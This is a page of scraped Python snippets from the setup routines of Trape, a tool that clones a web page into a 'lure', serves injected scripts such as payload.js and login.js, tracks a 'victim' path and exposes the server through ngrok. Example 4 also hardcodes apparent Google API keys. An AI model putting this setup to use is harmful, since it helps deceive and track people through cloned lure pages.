Exemplo n.º 1
0
	def __init__(self):
		self.name_trape = "trape"
		self.stats_path = "s" + utils.generateToken(6)
		self.home_path = "h" + utils.generateToken(18)
		self.stats_key = utils.generateToken(24)
		self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S")
		parser = optparse.OptionParser("python" + " " + "%prog -u <<Url>> -p <<Port>>", version="1.0.0")
		parser.add_option('-u', '--url', dest='url', help='Put the web page url to clone')
		parser.add_option('-p', '--port', dest='port', help='Insert your port')

		(options, args) = parser.parse_args()

		mandatories = ['url', 'port']
		for m in mandatories:
		    if not options.__dict__[m]:
		        parser.print_help()
		        exit(-1)

		if utils.checkPort(int(options.port)) == False:
			utils.Go("\n" + utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['white'] + "]" + " " + "The port:" + " " + utils.Color['whiteBold'] + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Text['underline'] + "Use another port" + utils.Text['end'] + ")" + "\n")
			exit(-1)

		self.app_port = int(options.port)
		self.url_to_clone = str(options.url)
		self.victim_path = options.url.replace("http://", "").replace("https://", "")
Exemplo n.º 2
0
    def __init__(self):
        self.name_trasup = "trasup"
        self.stats_path = "s" + utils.generateToken(6)
        self.home_path = "h" + utils.generateToken(18)
        self.stats_key = utils.generateToken(24)
        self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S")
        parser = optparse.OptionParser("python" + " " +
                                       "%prog -u <<Url>> -p <<Port>>",
                                       version="1.0.2")
        parser.add_option('-u',
                          '--url',
                          dest='url',
                          help='Put the web page url to clone')
        parser.add_option('-p', '--port', dest='port', help='Insert your port')

        (options, args) = parser.parse_args()

        mandatories = ['url', 'port']
        for m in mandatories:
            if not options.__dict__[m]:
                parser.print_help()
                exit(-1)

        if utils.checkPort(int(options.port)) == False:
            utils.Go("\n" + utils.Color['white'] + "[" +
                     utils.Color['redBold'] + "x" + utils.Color['white'] +
                     "]" + " " + "The port:" + " " + utils.Color['whiteBold'] +
                     options.port + utils.Color['white'] + " " +
                     "is not available, It was previously used (" +
                     utils.Text['underline'] + "Use another port" +
                     utils.Text['end'] + ")" + "\n")
            exit(-1)

        self.app_port = int(options.port)
        self.url_to_clone = str(options.url)
        self.victim_path = options.url.replace("http://",
                                               "").replace("https://", "")
Exemplo n.º 3
0
    def process_arguments(self):  # TODO: Refactor this
        parser = argparse.ArgumentParser(
            "python trape.py -u <<Url>> -p <<Port>>")
        parser.add_argument('-u',
                            '--url',
                            dest='url',
                            help='Put the web page url to clone')
        parser.add_argument('-p',
                            '--port',
                            dest='port',
                            help='Insert your port')
        parser.add_argument('-ak',
                            '--accesskey',
                            dest='accesskey',
                            help='Insert your custom key access')
        parser.add_argument('-l',
                            '--local',
                            dest='local',
                            help='Insert your home file')
        parser.add_argument('-n',
                            '--ngrok',
                            dest='ngrok',
                            help='Insert your ngrok Authtoken',
                            action='store_true')
        parser.add_argument('-ic',
                            '--injectcode',
                            dest='injc',
                            help='Insert your custom REST API path')
        parser.add_argument('-ud',
                            '--update',
                            dest='update',
                            action='store_true',
                            default=False,
                            help='Update trape to the latest version')

        options = parser.parse_args()

        # Check current updates

        if options.update:
            utils.Go("\033[H\033[J")
            utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" +
                     utils.Color['white'] + "..." + "\n")
            subprocess.check_output(
                ["git", "reset", "--hard", "origin/master"])
            subprocess.check_output(["git", "pull"])
            utils.Go("Trape Updated... Please execute again...")
            sys.exit(0)

        if options.url is None:
            utils.Go("\033[H\033[J")
            utils.Go("----------------------------------------------")
            utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" +
                     utils.Color['white'] + " {" + utils.Color['yellowBold'] +
                     "stable" + utils.Color['white'] + "}" +
                     utils.Color['white'] + " - " +
                     "Osint and analytics tool" + " " + "<" +
                     utils.Color['white'])
            utils.Go("----------------------------------------------")
            utils.Go("| v" + utils.Color['redBold'] + self.version +
                     utils.Color['white'] + " |")
            utils.Go("--------" + "\n")
            utils.Go(
                utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] +
                "!" + utils.Color['whiteBold'] + "]" + " " +
                utils.Color['white'] +
                "Enter the information requested below to complete the execution"
                + utils.Color['white'])
            utils.Go("")

            options.url = input(utils.Color['blueBold'] + "-" +
                                utils.Color['white'] +
                                " Enter a URL to generate the lure" + " " +
                                utils.Color['yellow'] + ":~> " +
                                utils.Color['white'])

        if options.port is None:
            options.port = input(utils.Color['blueBold'] + "-" +
                                 utils.Color['white'] +
                                 " What is your port to generate the server?" +
                                 " " + utils.Color['yellow'] + ":~> " +
                                 utils.Color['white'])

        while utils.checkPort(int(options.port)) == False:
            utils.Go("\033[H\033[J")
            utils.Go("----------------------------------------------")
            utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" +
                     utils.Color['white'] + " {" + utils.Color['yellowBold'] +
                     "stable" + utils.Color['white'] + "}" +
                     utils.Color['white'] + " - " +
                     "Osint and analytics tool" + " " + "<" +
                     utils.Color['white'])
            utils.Go("----------------------------------------------")
            utils.Go("\n")
            utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] +
                     "x" + utils.Color['whiteBold'] + "]" +
                     utils.Color['redBold'] + " " + "ERROR:" + " " +
                     utils.Color['whiteBold'] + "The port: " + options.port +
                     utils.Color['white'] + " " +
                     "is not available, It was previously used (" +
                     utils.Color['yellow'] + "Use another port" +
                     utils.Text['end'] + ")" + "\n\n")
            options.port = input(utils.Color['blueBold'] + "-" +
                                 utils.Color['white'] +
                                 " What is your port to generate the server?" +
                                 " " + utils.Color['yellow'] + ":~> " +
                                 utils.Color['white'])
            options.url = input(utils.Color['blueBold'] + "-" +
                                utils.Color['white'] +
                                " Enter a URL to generate the lure" + " " +
                                utils.Color['yellow'] + ":~> " +
                                utils.Color['white'])

        utils.Go("")
        utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] +
                 " Successful " + utils.Color['greenBold'] + "startup" +
                 utils.Color['white'] + ", get lucky on the way!" +
                 utils.Color['white'])
        utils.Go("")
        time.sleep(0.1)

        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        self.localIp = s.getsockname()[0]
        s.close()
        self.app_port = int(options.port)
        self.url_to_clone = str(options.url)
        if self.url_to_clone[0:4] != 'http':
            self.url_to_clone = 'http://' + self.url_to_clone
        self.victim_path = options.url.replace("http://",
                                               "").replace("https://", "")

        # TODO: maybe put in seperate method start ngrok
        self.ngrok = options.ngrok if options.ngrok else self.ngrok
        if self.ngrok == '':
            utils.Go("\033[H\033[J")
            self.ngrok = input("What is your nGrok token?" + " " +
                               utils.Color['yellow'] + ":~> " +
                               utils.Color['white'])
        Ngrok(self.ngrok, self.app_port)

        # Custom name of REST API
        if (options.injc):
            self.injectURL = options.injc

        # Custom access token
        if (options.accesskey):
            self.stats_key = options.accesskey  # and start ngrok
Exemplo n.º 4
0
	def __init__(self, stat = 0):
		self.name_trape = "Trape"
		self.version = "2.0"
		self.stats_path = utils.generateToken(7)
		self.home_path = utils.generateToken(18)
		self.logout_path = utils.generateToken(6)
		self.remove_path = utils.generateToken(14)
		self.injectURL = utils.generateToken(12) + '.js'
		self.stats_key = utils.generateToken(24)
		self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S")
		self.stat = stat
		self.localIp = '127.0.0.1'
		self.nGrokUrl = ''

		self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},)
		self.CSSFiles = ({"path" : "static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "static/css/services-icons.css", "src" : utils.generateToken(12)},)

		if self.stat == 1:
			c = httplib.HTTPConnection('www.google.com', timeout=5)
			try:
				c.request("HEAD", "/")
				c.close()
			except Exception as e:
				c.close()
				utils.Go("\033[H\033[J")
				utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "NOTICE: " + utils.Color['white'] + "Trape needs Internet connection for working" + "\n\t")
				sys.exit(0)

			if (not(os.path.exists("trape.config"))):
			 	self.trape_config()
			try:
				config_trape = json.load(open("trape.config"))
			except Exception as error:
				os.remove('trape.config')
				self.trape_config()

			self.ngrok = config_trape['ngrok_token']
			self.gmaps = config_trape['gmaps_api_key']
			if self.gmaps == '':
				self.gmaps = 'AIzaSyA30wEa2DwUuddmNTHvoprhnrB2w_aCWbs'
			self.googl = config_trape['gshortener_api_key']
			if self.googl == '':
				self.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc'
			
			parser = argparse.ArgumentParser("python trape.py -u <<Url>> -p <<Port>>", version=self.version)
			parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone')
			parser.add_argument('-p', '--port', dest='port', help='Insert your port')
			parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access')
			parser.add_argument('-l', '--local', dest='local', help='Insert your home file')
			parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true')
			parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path')
			parser.add_argument('-ud', '--update', dest='update', help='Update trape to the latest version')

			options = parser.parse_args()

			self.type_lure = 'global'

			if options.url is None:
				utils.Go("\033[H\033[J")
				utils.Go("----------------------------------------------")
				utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white'])
				utils.Go("----------------------------------------------")
				utils.Go("| v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |")    
				utils.Go("--------" + "\n")
				utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white'])
				utils.Go("")

				options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])

			if options.port is None:
				options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])

			while utils.checkPort(int(options.port)) == False:
				utils.Go("\033[H\033[J")
				utils.Go("----------------------------------------------")
				utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white'])
				utils.Go("----------------------------------------------")
				utils.Go("\n")
				utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n")
				options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])

			#while utils.checkUrl(str(options.url)) == False:
				options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])


			utils.Go("")
			utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white'])
			utils.Go("")
			time.sleep(0.1)


			s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
			s.connect(("8.8.8.8", 80))
			self.localIp = s.getsockname()[0]

			self.app_port = int(options.port)
			self.url_to_clone = str(options.url)
			if self.url_to_clone[0:4] != 'http':
				self.url_to_clone = 'http://' + self.url_to_clone
			self.victim_path = options.url.replace("http://", "").replace("https://", "")

			if (options.ngrok or (self.ngrok != "")):
				if self.ngrok == '':
					utils.Go("\033[H\033[J")
					self.ngrok = raw_input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
				if (self.ngrok != ''):
					from core.ngrok import ngrok
					import os.path as path

					v_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path)
				else:
					utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + "Your nGrok authtoken can't be empty")
			
			# Custom name of REST API
			if (options.injc):
				self.injectURL = options.injc

			# Custom access token	
			if (options.accesskey):
			    self.stats_key = options.accesskey

			# Check current updates
			if (options.update):
				utils.Go("\033[H\033[J")
				utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n")
				subprocess.check_output(["git", "reset", "--hard", "origin/master"])
				subprocess.check_output(["git", "pull"])
				utils.Go("Trape Updated... Please execute again...")
				sys.exit(0)
Exemplo n.º 5
0
			if options.url is None:
				utils.Go("\033[H\033[J")
				utils.Go("----------------------------------------------")
				utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white'])
				utils.Go("----------------------------------------------")
				utils.Go("| v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |")    
				utils.Go("--------" + "\n")
				utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white'])
				utils.Go("")

				options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])

			if options.port is None:
				options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])

			while utils.checkPort(int(options.port)) == False:
				utils.Go("\033[H\033[J")
				utils.Go("----------------------------------------------")
				utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white'])
				utils.Go("----------------------------------------------")
				utils.Go("\n")
				utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n")
				options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])

			#while utils.checkUrl(str(options.url)) == False:
				options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])


			utils.Go("")
			utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white'])
			utils.Go("")